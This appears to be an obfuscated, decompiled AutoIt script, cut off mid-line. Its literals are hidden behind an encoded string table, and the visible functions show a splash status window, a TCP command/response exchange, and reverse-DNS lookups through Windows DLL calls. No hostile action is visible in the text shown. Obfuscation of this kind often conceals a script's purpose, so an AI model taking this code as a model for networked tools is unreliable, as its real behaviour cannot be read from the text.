$Arg00= STRINGLEFT(STRINGREPLACE($Arg00, EXECUTE($SA6052D00013), ""), NUMBER($SA4D52E0232C))
$Var0001&= EXECUTE($SA1152F05463)&":"& EXECUTE($SA376210464E)&":"& EXECUTE($SA4D62303037)&" "& $Arg00& EXECUTE($SA416250054C)
IF WINEXISTS($Var0000) THEN
CONTROLSETTEXT($Var0000, "","Static1", $Var0001)
ELSE
SPLASHTEXTON($Var0000, $Var0001, NUMBER($SA2362700750), NUMBER($SA0E62802C4E), NUMBER($SA5F62901760), NUMBER($SA4A62A02D20), NUMBER($SA3A62B0313A)+ NUMBER($SA2862C05C4C), "", NUMBER($SA5E62D0163C))
ENDIF
IF $ArgOpt01 THEN SLEEP($ArgOpt01* NUMBER($SA3862E0523E))
ENDFUNC



Func Fn0010($Arg00, $Arg01, $Arg02, $Arg03, $ArgOpt04= "", $ArgOpt05= "")
LOCAL $Var0000, $Var0001, $Var0002
IF $Arg03 THEN Fn000F($Arg01)
IF $ArgOpt04<> "" THEN
IF $ArgOpt05<>- NUMBER("1") THEN
IF TCPSEND($Arg00, $ArgOpt05)= NUMBER($SA3472303C48) THEN
TCPCLOSESOCKET($Arg00)
TCPSHUTDOWN()
RETURN NUMBER($SA0D72402439)
ENDIF
ENDIF
$Var0000= ""
$Var0002= TIMERINIT()
WHILE STRINGLEFT($Var0000, STRINGLEN($ArgOpt04))<> $ArgOpt04 AND TIMERDIFF($Var0002)< NUMBER($SA257250551E)
$Var0000= TCPRECV($Arg00, NUMBER($SA2772601821))
IF $Arg03 AND $Var0000<> "" THEN Fn000F($SA1172703B13& $Var0000)
WEND
ENDIF
IF TCPSEND($Arg00, $Arg01)= NUMBER($SA3972804B00) THEN
TCPCLOSESOCKET($Arg00)
TCPSHUTDOWN()
RETURN NUMBER($SA4A72905A2A)
ENDIF
$Var0002= TIMERINIT()
$Var0000= ""
WHILE $Var0000= "" AND TIMERDIFF($Var0002)< NUMBER($SA1D72A05648)
$Var0001+= NUMBER($SA5272B00208)
$Var0000= TCPRECV($Arg00, NUMBER($SA1F72C03635))
IF $Arg02= "" THEN EXITLOOP
WEND
IF $Arg02<> "" THEN
IF $Arg03 THEN Fn000F($Var0001&" <- "& $Var0000)
IF STRINGLEFT($Var0000, STRINGLEN($Arg02))<> $Arg02 THEN
TCPCLOSESOCKET($Arg00)
TCPSHUTDOWN()
IF $Arg03 THEN Fn000F($SA5272E0460A& $Arg02, NUMBER($SA3972F0102D))
RETURN NUMBER($SA2582002A42)
ENDIF
ENDIF
RETURN NUMBER($SA4A82101243)
ENDFUNC



Func Fn0011($Arg00, $ArgOpt01= DEFAULT, $ArgOpt02= DEFAULT)
LOCAL $Var0000, $Var0001, $Var0002, $Var0003, $Var0004, $Var0005, $Var0006
LOCAL $Var0007= NUMBER("-1"), $Var0008= NUMBER($SA5D82E01F04), $Var0009= EXECUTE($SA6292003B57)
IF $ArgOpt01= DEFAULT THEN $ArgOpt01= NUMBER($SA359210623C)
IF $ArgOpt02= DEFAULT THEN $ArgOpt02="Ws2_32.dll"
$Var0001= DLLCALL($ArgOpt02,"long","inet_addr","str", $Arg00)
IF @ERROR THEN RETURN SETERROR(NUMBER($SA0092604917), NUMBER($SA4492703D61), "")
$Var0000= $Var0001[NUMBER($SA4892805435)]
IF $Var0000= $Var0007 THEN RETURN SETERROR(NUMBER($SA0592902D57), NUMBER($SA3792A01B11), "")
$Var0001= DLLCALL($ArgOpt02,"ptr","gethostbyaddr","long_ptr", $Var0000,"int", NUMBER($SA2892F01853),"int", $Var0008)
IF @ERROR THEN RETURN SETERROR(NUMBER($SA5EA2102459), NUMBER($SA5CA2202020), "")
$Var0002= $Var0001[NUMBER($SA4FA2301846)]
IF $Var0002= NUMBER($SA23A2405645) THEN
$Var0001= DLLCALL($ArgOpt02,"int","WSAGetLastError")
IF @ERROR THEN RETURN SETERROR(NUMBER($SA15A2700A15), NUMBER($SA60A2803051), "")
RETURN SETERROR(NUMBER($SA3DA290562F), $Var0001[NUMBER($SA06A2A05A5F)], "")
ENDIF
$Var0003= DLLSTRUCTCREATE($SA43A2B0233E, $Var0002)
$Var0004= Fn0012(DLLSTRUCTGETDATA($Var0003, NUMBER($SA54A2C01A4C)))
IF @ERROR THEN RETURN SETERROR(NUMBER($SA21A2D02C1F), NUMBER($SA43A2E03E49), $Var0004)
IF $ArgOpt01= NUMBER($SA5CA2F00223) THEN
$Var0004&= $Var0009
FOR $Var0006= NUMBER($SA09B200321D) TO NUMBER($SA0EB2102B5D)
$Var0005= DLLSTRUCTCREATE($SA07B220630E, DLLSTRUCTGETDATA($Var0003, NUMBER($SA4CB2303F1C))+($Var0006* NUMBER($SA30B2403935)))
IF DLLSTRUCTGETDATA($Var0005, NUMBER($SA1FB2503017))= NUMBER($SA2AB2605A1C) THEN EXITLOOP
$Var0004&= Fn0012(DLLSTRUCTGETDATA($Var0005, NUMBER($SA35B2701C0B)))
IF @ERROR THEN
SETERROR(NUMBER($SA44B2802D39))
EXITLOOP
ENDIF
NEXT
RETURN STRINGSPLIT(STRINGSTRIPWS($Var0004, NUMBER($SA4EB2903B2D)), EXECUTE($SA52B2A06215))
ELSE
RETURN $Var0004
ENDIF
ENDFUNC



Func Fn0012($Arg00, $ArgOpt01=- 1, $ArgOpt02= "msvcrt.dll")
LOCAL $Var0000, $Var0001
IF $Arg00< NUMBER("1") THEN RETURN ""
IF $ArgOpt01< NUMBER($SA0FC210000E) THEN
$Var0000= DLLCALL($ArgOpt02,"int:cdecl","strlen","ptr", $Arg00)
IF @ERROR THEN RETURN SETERROR(NUMBER($SA20C2506058), NUMBER($SA46C2602255), "")
$ArgOpt01= $Var0000[NUMBER($SA44C2705B24)]+ NUMBER($SA4FC280442B)
ENDIF
$Var0001= DLLSTRUCTCREATE($SA43C2904503& $ArgOpt01&"]", $Arg00)
IF @ERROR THEN RETURN SETERROR(NUMBER($SA17C2B0095D), NUMBER($SA21C2C01160), "")
RETURN SETERROR(NUMBER($SA2EC2D01437), $ArgOpt01, DLLSTRUCTGETDATA($Var0001, NUMBER($SA41C2E03E2B)))
ENDFUNC

GLOBAL CONST $glConstVar0001= NUMBER($SA5BD2005F11)
GLOBAL CONST $glConstVar0002= NUMBER($SA3CD220484E)
GLOBAL CONST $glConstVar0003= NUMBER($SA57D2403404)
GLOBAL CONST $glConstVar0004= NUMBER($SA2AD260344C)
GLOBAL CONST $glConstVar0005= NUMBER($SA08D2801C18)
GLOBAL CONST $glConstVar0006= NUMBER($SA51D2A03613)
GLOBAL CONST $glConstVar0007= NUMBER($SA1FD2C02629)
GLOBAL CONST $glConstVar0008= NUMBER($SA38D2E01F37)
GLOBAL CONST $glConstVar0009= NUMBER($SA58E2005052)
GLOBAL CONST $glConstVar000A= NUMBER($SA3EE2201413)
GLOBAL CONST $glConstVar000B= NUMBER($SA28E2403C09)
GLOBAL CONST $glConstVar000C= NUMBER($SA44E2603125)
GLOBAL CONST $glConstVar000D= NUMBER($SA40E280524F)
GLOBAL CONST $glConstVar000E= NUMBER($SA63E2A01F32)
GLOBAL CONST $glConstVar000F= NUMBER($SA32E2C01938)
GLOBAL CONST $glConstVar0010= NUMBER($SA2FE2E02606)
GLOBAL CONST $glConstVar0011= NUMBER($SA55F2005C32)
GLOBAL CONST $glConstVar0012= NUMBER($SA5FF2204A41)
GLOBAL CONST $glConstVar0013= NUMBER($SA51F2400A63)
GLOBAL CONST $glConstVar0014= NUMBER($SA37F2603433)
GLOBAL CONST $glConstVar0015= NUMBER($SA2BF2802352)
GLOBAL CONST $glConstVar0016= NUMBER($SA27F2A0180A)
GLOBAL CONST $glConstVar0017= NUMBER($SA42F2C02923)
GLOBAL CONST $glConstVar0018= NUMBER($SA0BF2E02103)
GLOBAL CONST $glConstVar0019= NUMBER($SA2603001222)
GLOBAL CONST $glConstVar001A= NUMBER($SA5303202D4D)
GLOBAL CONST $glConstVar001B= NUMBER($SA5F03400214)
GLOBAL CONST $glConstVar001C= NUMBER($SA3803600652)
GLOBAL CONST $glConstVar001D= NUMBER($SA550380194E)
GLOBAL CONST $glConstVar001E= NUMBER($SA1B03A0354A)
GLOBAL CONST $glConstVar001F= NUMBER($SA2F03C0444C)
GLOBAL CONST $glConstVar0020= NUMBER($SA1103E06139)
GLOBAL CONST $glConstVar0021= NUMBER($SA2E13005063)
GLOBAL CONST $glConstVar0022= NUMBER($SA5713204249)
GLOBAL CONST $glConstVar0023= NUMBER($SA4E13405936)
GLOBAL CONST $glConstVar0024= NUMBER($SA0913604422)
GLOBAL CONST $glConstVar0025= NUMBER($SA611380142D)
GLOBAL CONST $glConstVar0026= NUMBER($SA0D13A03026)
GLOBAL CONST $glConstVar0027= NUMBER($SA4E13C0364F)
GLOBAL CONST $glConstVar0028= NUMBER($SA0513E01815)
GLOBAL CONST $glConstVar0029= NUMBER($SA0423005E1C)
GLOBAL CONST $glConstVar002A= NUMBER($SA1823202A4C)
GLOBAL CONST $glConstVar002B= NUMBER($SA3A23402A1E)
GLOBAL CONST $glConstVar002C= NUMBER($SA3623605810)
GLOBAL CONST $glConstVar002D= NUMBER($SA5C23805C07)
GLOBAL CONST $glConstVar002E= NUMBER($SA1B23A02E5F)
GLOBAL CONST $glConstVar002F= NUMBER($SA1123C06255)
GLOBAL CONST $glConstVar0030= NUMBER($SA4E23E04E17)
GLOBAL CONST $glConstVar0031= NUMBER($SA573300063D)
GLOBAL CONST $glConstVar0032= NUMBER($SA0033203A56)
GLOBAL CONST $glConstVar0033= NUMBER($SA403340231F)
GLOBAL CONST $glConstVar0034= NUMBER($SA633360501B)
GLOBAL CONST $glConstVar0035= NUMBER($SA1E3380574D)
GLOBAL CONST $glConstVar0036= NUMBER($SA1F33A02F15)
GLOBAL CONST $glConstVar0037= NUMBER($SA1E33C03D42)
GLOBAL CONST $glConstVar0038= NUMBER($SA0533E01056)
GLOBAL CONST $glConstVar0039= NUMBER($SA6143005642)
GLOBAL CONST $glConstVar003A= NUMBER($SA3643202F27)
GLOBAL CONST $glConstVar003B= NUMBER($SA0A43400E5F)
GLOBAL CONST $glConstVar003C= NUMBER($SA0E43601755)
GLOBAL CONST $glConstVar003D= NUMBER($SA0C4380393F)
GLOBAL CONST $glConstVar003E= NUMBER($SA0B43A06111)
GLOBAL CONST $glConstVar003F= NUMBER($SA5943C05F31)
GLOBAL CONST $glConstVar0040=- NUMBER($SA5943E0304A)
GLOBAL CONST $glConstVar0041=- NUMBER($SA285300295E)
GLOBAL CONST $glConstVar0042=- NUMBER($SA2953205E47)
GLOBAL CONST $glConstVar0043=- NUMBER($SA6353405D42)
GLOBAL CONST $glConstVar0044= NUMBER($SA4C53604742)
GLOBAL CONST $glConstVar0045= NUMBER($SA2D53805F15)
GLOBAL CONST $glConstVar0046= NUMBER($SA4553A01C14)
GLOBAL CONST $glConstVar0047= NUMBER($SA2353C06036)
GLOBAL CONST $glConstVar0048= NUMBER($SA2953E04B2F)
GLOBAL CONST $glConstVar0049= NUMBER($SA1663002819)
GLOBAL CONST $glConstVar004A= NUMBER($SA2D63204A14)
GLOBAL CONST $glConstVar004B= NUMBER($SA1763402526)
GLOBAL CONST $glConstVar004C= NUMBER($SA6063603020)
GLOBAL CONST $glConstVar004D= NUMBER($SA3163803118)
GLOBAL CONST $glConstVar004E= NUMBER($SA0D63A05D30)
GLOBAL CONST $glConstVar004F= NUMBER($SA0163C05A00)
GLOBAL CONST $glConstVar0050= NUMBER($SA5C63E00050)
GLOBAL CONST $glConstVar0051= NUMBER($SA3E73003E1D)
GLOBAL CONST $glConstVar0052= NUMBER($SA1C7320422C)
GLOBAL CONST $glConstVar0053= NUMBER($SA2C73405C1D)
GLOBAL CONST $glConstVar0054= NUMBER($SA6073604E59)
GLOBAL CONST $glConstVar0055= NUMBER($SA0C73800517)
GLOBAL CONST $glConstVar0056= NUMBER($SA2E73A0354F)
GLOBAL CONST $glConstVar0057= NUMBER($SA5F73C01034)
GLOBAL CONST $glConstVar0058= NUMBER($SA5273E0510D)
GLOBAL CONST $glConstVar0059= NUMBER($SA5083003713)
GLOBAL CONST $glConstVar005A= NUMBER($SA5983203719)
GLOBAL CONST $glConstVar005B= NUMBER($SA4E83402037)
GLOBAL CONST $glConstVar005C= NUMBER($SA3F83602B13)
GLOBAL CONST $glConstVar005D= NUMBER($SA3D83801304)
GLOBAL CONST $glConstVar005E= NUMBER($SA1483A00C41)
GLOBAL CONST $glConstVar005F= NUMBER($SA1883C00F43)
GLOBAL CONST $glConstVar0060= NUMBER($SA1C83E01A63)
GLOBAL CONST $glConstVar0061= NUMBER($SA139300131E)
GLOBAL CONST $glConstVar0062= NUMBER($SA3393203949)
GLOBAL CONST $glConstVar0063= NUMBER($SA0F93403C4C)
GLOBAL CONST $glConstVar0064= NUMBER($SA0E9360541C)
GLOBAL CONST $glConstVar0065= NUMBER($SA1693802D14)
GLOBAL CONST $glConstVar0066= NUMBER($SA5C93A0240A)
GLOBAL CONST $glConstVar0067= NUMBER($SA2293C02840)
GLOBAL CONST $glConstVar0068= NUMBER($SA5593E02830)
GLOBAL CONST $glConstVar0069= NUMBER($SA4FA300451D)
GLOBAL CONST $glConstVar006A= NUMBER($SA0FA320515E)
GLOBAL CONST $glConstVar006B= NUMBER($SA48A3406057)
GLOBAL CONST $glConstVar006C= NUMBER($SA2AA3605B49)
GLOBAL CONST $glConstVar006D= NUMBER($SA17A3800A2F)
GLOBAL CONST $glConstVar006E= NUMBER($SA11A3A04B43)
GLOBAL CONST $glConstVar006F= NUMBER($SA38A3C04951)
GLOBAL CONST $glConstVar0070= NUMBER($SA12A3E0060F)
GLOBAL CONST $glConstVar0071= NUMBER($SA31B3005917)
GLOBAL CONST $glConstVar0072= NUMBER($SA2DB3206004)
GLOBAL CONST $glConstVar0073= NUMBER($SA0FB3404459)
GLOBAL CONST $glConstVar0074= NUMBER($SA60B3604D60)
GLOBAL CONST $glConstVar0075= NUMBER($SA20B380222B)
GLOBAL CONST $glConstVar0076= NUMBER($SA4FB3A03554)
GLOBAL CONST $glConstVar0077= NUMBER($SA55B3C02913)
GLOBAL CONST $glConstVar0078= NUMBER($SA37B3E00C3C)
GLOBAL CONST $glConstVar0079= NUMBER($SA2AC3000F1D)
GLOBAL CONST $glConstVar007A= NUMBER($SA4FC320362D)
GLOBAL CONST $glConstVar007B=($glConstVar007A+ NUMBER($SA3FC340444A))
GLOBAL CONST $glConstVar007C=($glConstVar007A+ NUMBER($SA1BC3601222))
GLOBAL CONST $glConstVar007D=($glConstVar007A+ NUMBER($SA1CC380392A))
GLOBAL CONST $glConstVar007E=($glConstVar007A+ NUMBER($SA52C3A0132D))
GLOBAL CONST $glConstVar007F=($glConstVar007A+ NUMBER($SA0BC3C0385B))
GLOBAL CONST $glConstVar0080=($glConstVar007A+ NUMBER($SA05C3E02C17))
GLOBAL CONST $glConstVar0081= NUMBER($SA0FD3000540)
GLOBAL CONST $glConstVar0082=($glConstVar007A+ NUMBER($SA2AD320185C))
GLOBAL CONST $glConstVar0083=($glConstVar007A+ NUMBER($SA1FD3401242))
GLOBAL CONST $glConstVar0084=($glConstVar007A+ NUMBER($SA14D3602606))
GLOBAL CONST $glConstVar0085=($glConstVar007A+ NUMBER($SA5AD3805437))
GLOBAL CONST $glConstVar0086= NUMBER($SA47D3A04B13)
GLOBAL CONST $glConstVar0087= NUMBER($SA43D3C04D3E)
GLOBAL CONST $glConstVar0088= NUMBER($SA2DD3E02828)
GLOBAL CONST $glConstVar0089= NUMBER($SA21E3005000)
GLOBAL CONST $glConstVar008A= NUMBER($SA30E320564A)
GLOBAL CONST $glConstVar008B= NUMBER($SA0FE3402B01)
GLOBAL CONST $glConstVar008C= NUMBER($SA21E3605850)
GLOBAL CONST $glConstVar008D= NUMBER($SA55E3804538)
GLOBAL CONST $glConstVar008E= NUMBER($SA22E3A03848)
GLOBAL CONST $glConstVar008F= NUMBER($SA23E3C02600)
GLOBAL CONST $glConstVar0090= NUMBER($SA27E3E00001)
GLOBAL CONST $glConstVar0091= NUMBER($SA01F3000426)
GLOBAL CONST $glConstVar0092= NUMBER($SA01F3200E26)
GLOBAL CONST $glConstVar0093= NUMBER($SA31F3405E60)
GLOBAL CONST $glConstVar0094= NUMBER($SA08F3605747)
GLOBAL CONST $glConstVar0095= NUMBER($SA4EF380201B)
GLOBAL CONST $glConstVar0096= NUMBER($SA56F3A04B0E)
GLOBAL CONST $glConstVar0097= NUMBER($SA19F3C04056)
GLOBAL CONST $glConstVar0098= NUMBER($SA07F3E00E5E)
GLOBAL CONST $glConstVar0099= NUMBER($SA4F04005314)
GLOBAL CONST $glConstVar009A=- NUMBER($SA270420211A)
GLOBAL CONST $glConstVar009B= NUMBER($SA480440455B)
GLOBAL CONST $glConstVar009C= NUMBER($SA5004600F1C)
GLOBAL CONST $glConstVar009D= NUMBER($SA3204806057)
GLOBAL CONST $glConstVar009E= NUMBER($SA0304A0421B)
GLOBAL CONST $glConstVar009F= NUMBER($SA1D04C0564C)
GLOBAL CONST $glConstVar00A0= NUMBER($SA5F04E02929)
GLOBAL CONST $glConstVar00A1= NUMBER($SA6114005B51)
GLOBAL CONST $glConstVar00A2= NUMBER($SA1B14200662)
GLOBAL CONST $glConstVar00A3= NUMBER($SA391440074E)
GLOBAL CONST $glConstVar00A4= NUMBER($SA3514603618)
GLOBAL CONST $glConstVar00A5= NUMBER($SA1E14804355)
GLOBAL CONST $glConstVar00A6= NUMBER($SA5F14A03545)
GLOBAL CONST $glConstVar00A7= NUMBER($SA4D14C00F38)
GLOBAL CONST $glConstVar00A8= NUMBER($SA0114E0262F)
GLOBAL CONST $glConstVar00A9= NUMBER($SA3C24000E1C)
GLOBAL CONST $glConstVar00AA= NUMBER($SA5F2420070E)
GLOBAL CONST $glConstVar00AB= NUMBER($SA6324402210)
GLOBAL CONST $glConstVar00AC= NUMBER($SA4924603B0E)
GLOBAL CONST $glConstVar00AD= NUMBER($SA0224803E5D)
GLOBAL CONST $glConstVar00AE= NUMBER($SA3324A0635D)
GLOBAL CONST $glConstVar00AF= NUMBER($SA2E24C01059)
GLOBAL CONST $glConstVar00B0= NUMBER($SA5A24E01F42)
GLOBAL CONST $glConstVar00B1= NUMBER($SA0834003B49)
GLOBAL CONST $glConstVar00B2= NUMBER($SA5B3420473F)
GLOBAL CONST $glConstVar00B3= NUMBER($SA2E34400824)
GLOBAL CONST $glConstVar00B4= NUMBER($SA5034602053)
GLOBAL CONST $glConstVar00B5= NUMBER($SA3934806017)
GLOBAL CONST $glConstVar00B6= NUMBER($SA0C34A00516)
GLOBAL CONST $glConstVar00B7= NUMBER($SA2934C0254A)
GLOBAL CONST $glConstVar00B8= NUMBER($SA0734E04121)
GLOBAL CONST $glConstVar00B9= NUMBER($SA164400425C)
GLOBAL CONST $glConstVar00BA= NUMBER($SA5044200028)
GLOBAL CONST $glConstVar00BB= NUMBER($SA094440523B)
GLOBAL CONST $glConstVar00BC= NUMBER($SA1D44603657)
GLOBAL CONST $glConstVar00BD= NUMBER($SA3E44802917)
GLOBAL CONST $glConstVar00BE= NUMBER($SA4444A04D1C)
GLOBAL CONST $glConstVar00BF= NUMBER($SA1944C06018)
GLOBAL CONST $glConstVar00C0= NUMBER($SA0044E03863)
GLOBAL CONST $glConstVar00C1= NUMBER($SA4854000E5A)
GLOBAL CONST $glConstVar00C2= NUMBER($SA5B54202645)
GLOBAL CONST $glConstVar00C3= NUMBER($SA2254405D59)
GLOBAL CONST $glConstVar00C4= NUMBER($SA6254600D61)
GLOBAL CONST $glConstVar00C5= NUMBER($SA5254805151)
GLOBAL CONST $glConstVar00C6= NUMBER($SA4B54A02546)
GLOBAL CONST $glConstVar00C7= NUMBER($SA5154C01C2F)
GLOBAL CONST $glConstVar00C8= NUMBER($SA3F54E01834)
GLOBAL CONST $glConstVar00C9= NUMBER($SA2B64000C48)
GLOBAL CONST $glConstVar00CA= NUMBER($SA0D6420432D)
GLOBAL CONST $glConstVar00CB= NUMBER($SA3164400250)
GLOBAL CONST $glConstVar00CC=- NUMBER($SA1064604E29)
GLOBAL CONST $glConstVar00CD=- NUMBER($SA366480633C)
GLOBAL CONST $glConstVar00CE=- NUMBER($SA0064A0202E)
GLOBAL CONST $glConstVar00CF=- NUMBER($SA3A64C05B1F)
GLOBAL CONST $glConstVar00D0= NUMBER($SA0864E0260B)
GLOBAL CONST $glConstVar00D1= NUMBER($SA4574002E40)
GLOBAL CONST $glConstVar00D2= NUMBER($SA3674205F1F)
GLOBAL CONST $glConstVar00D3= NUMBER($SA5074404C47)
GLOBAL CONST $glConstVar00D4= NUMBER($SA247460173B)
GLOBAL CONST $glConstVar00D5= NUMBER($SA2A74804842)
GLOBAL CONST $glConstVar00D6= NUMBER($SA5174A02335)
GLOBAL CONST $glConstVar00D7= NUMBER($SA2F74C01C12)
GLOBAL CONST $glConstVar00D8= NUMBER($SA5E74E01E53)
GLOBAL CONST $glConstVar00D9= NUMBER($SA168400474E)
GLOBAL CONST $glConstVar00DA= NUMBER($SA3084204615)
GLOBAL CONST $glConstVar00DB= NUMBER($SA5884405C28)
GLOBAL CONST $glConstVar00DC= NUMBER($SA1A84600F5A)
GLOBAL CONST $glConstVar00DD= NUMBER($SA1E8480233C)
GLOBAL CONST $glConstVar00DE= NUMBER($SA3384A0130B)
GLOBAL CONST $glConstVar00DF= NUMBER($SA5284C0075D)
GLOBAL CONST $glConstVar00E0= NUMBER($SA4884E0554A)
GLOBAL CONST $glConstVar00E1= NUMBER($SA379400215C)
GLOBAL CONST $glConstVar00E2= NUMBER($SA0F9420181D)
GLOBAL CONST $glConstVar00E3= NUMBER($SA0794403F4A)
GLOBAL CONST $glConstVar00E4= NUMBER($SA3C94602132)
GLOBAL CONST $glConstVar00E5= NUMBER($SA3294803A23)
GLOBAL CONST $glConstVar00E6= NUMBER($SA2C94A0233C)
GLOBAL CONST $glConstVar00E7= NUMBER($SA2B94C06214)
GLOBAL CONST $glConstVar00E8= NUMBER($SA3F94E0614D)
GLOBAL CONST $glConstVar00E9= NUMBER($SA5BA4005651)
GLOBAL CONST $glConstVar00EA= NUMBER($SA55A4203F4C)
GLOBAL CONST $glConstVar00EB= NUMBER($SA09A4403130)
GLOBAL CONST $glConstVar00EC= NUMBER($SA49A460164B)
GLOBAL CONST $glConstVar00ED= NUMBER($SA13A480212A)
GLOBAL CONST $glConstVar00EE= NUMBER($SA4CA4A04833)
GLOBAL CONST $glConstVar00EF= NUMBER($SA2DA4C0032F)
GLOBAL CONST $glConstVar00F0= NUMBER($SA1CA4E03827)
GLOBAL CONST $glConstVar00F1= NUMBER($SA4BB4000E38)
GLOBAL CONST $glConstVar00F2= NUMBER($SA36B4205E0B)
GLOBAL CONST $glConstVar00F3= NUMBER($SA28B440004F)
GLOBAL CONST $glConstVar00F4= NUMBER($SA5FB4600E62)
GLOBAL CONST $glConstVar00F5= NUMBER($SA5AB4804B5E)
GLOBAL CONST $glConstVar00F6= NUMBER($SA55B4A04262)
GLOBAL CONST $glConstVar00F7= NUMBER($SA3FB4C03B1C)
GLOBAL CONST $glConstVar00F8= NUMBER($SA20B4E00A14)
GLOBAL CONST $glConstVar00F9= NUMBER($SA53C400224E)
GLOBAL CONST $glConstVar00FA= NUMBER($SA3EC4201521)
GLOBAL CONST $glConstVar00FB= NUMBER($SA39C4405624)
GLOBAL CONST $glConstVar00FC= NUMBER($SA3CC4603718)
GLOBAL CONST $glConstVar00FD= NUMBER($SA1BC4804628)
GLOBAL CONST $glConstVar00FE= NUMBER($SA51C4A0154E)
GLOBAL CONST $glConstVar00FF= NUMBER($SA36C4C0193A)
GLOBAL CONST $glConstVar0100= NUMBER($SA0FC4E05258)
GLOBAL CONST $glConstVar0101= NUMBER($SA3BD400431B)
GLOBAL CONST $glConstVar0102= NUMBER($SA3FD4205139)
GLOBAL CONST $glConstVar0103= NUMBER($SA2CD4400A43)
GLOBAL CONST $glConstVar0104= NUMBER($SA5BD4601D41)
GLOBAL CONST $glConstVar0105= NUMBER($SA11D4800040)
GLOBAL CONST $glConstVar0106= NUMBER($SA1BD4A02508)
GLOBAL CONST $glConstVar0107= NUMBER($SA47D4C05C2D)
GLOBAL CONST $glConstVar0108= NUMBER($SA40D4E0352B)
GLOBAL CONST $glConstVar0109= NUMBER($SA1AE4002321)
GLOBAL CONST $glConstVar010A= NUMBER($SA16E4205953)
GLOBAL CONST $glConstVar010B= NUMBER($SA5EE4401052)
GLOBAL CONST $glConstVar010C= NUMBER($SA38E4601146)
GLOBAL CONST $glConstVar010D= NUMBER($SA5EE4803F08)
GLOBAL CONST $glConstVar010E= N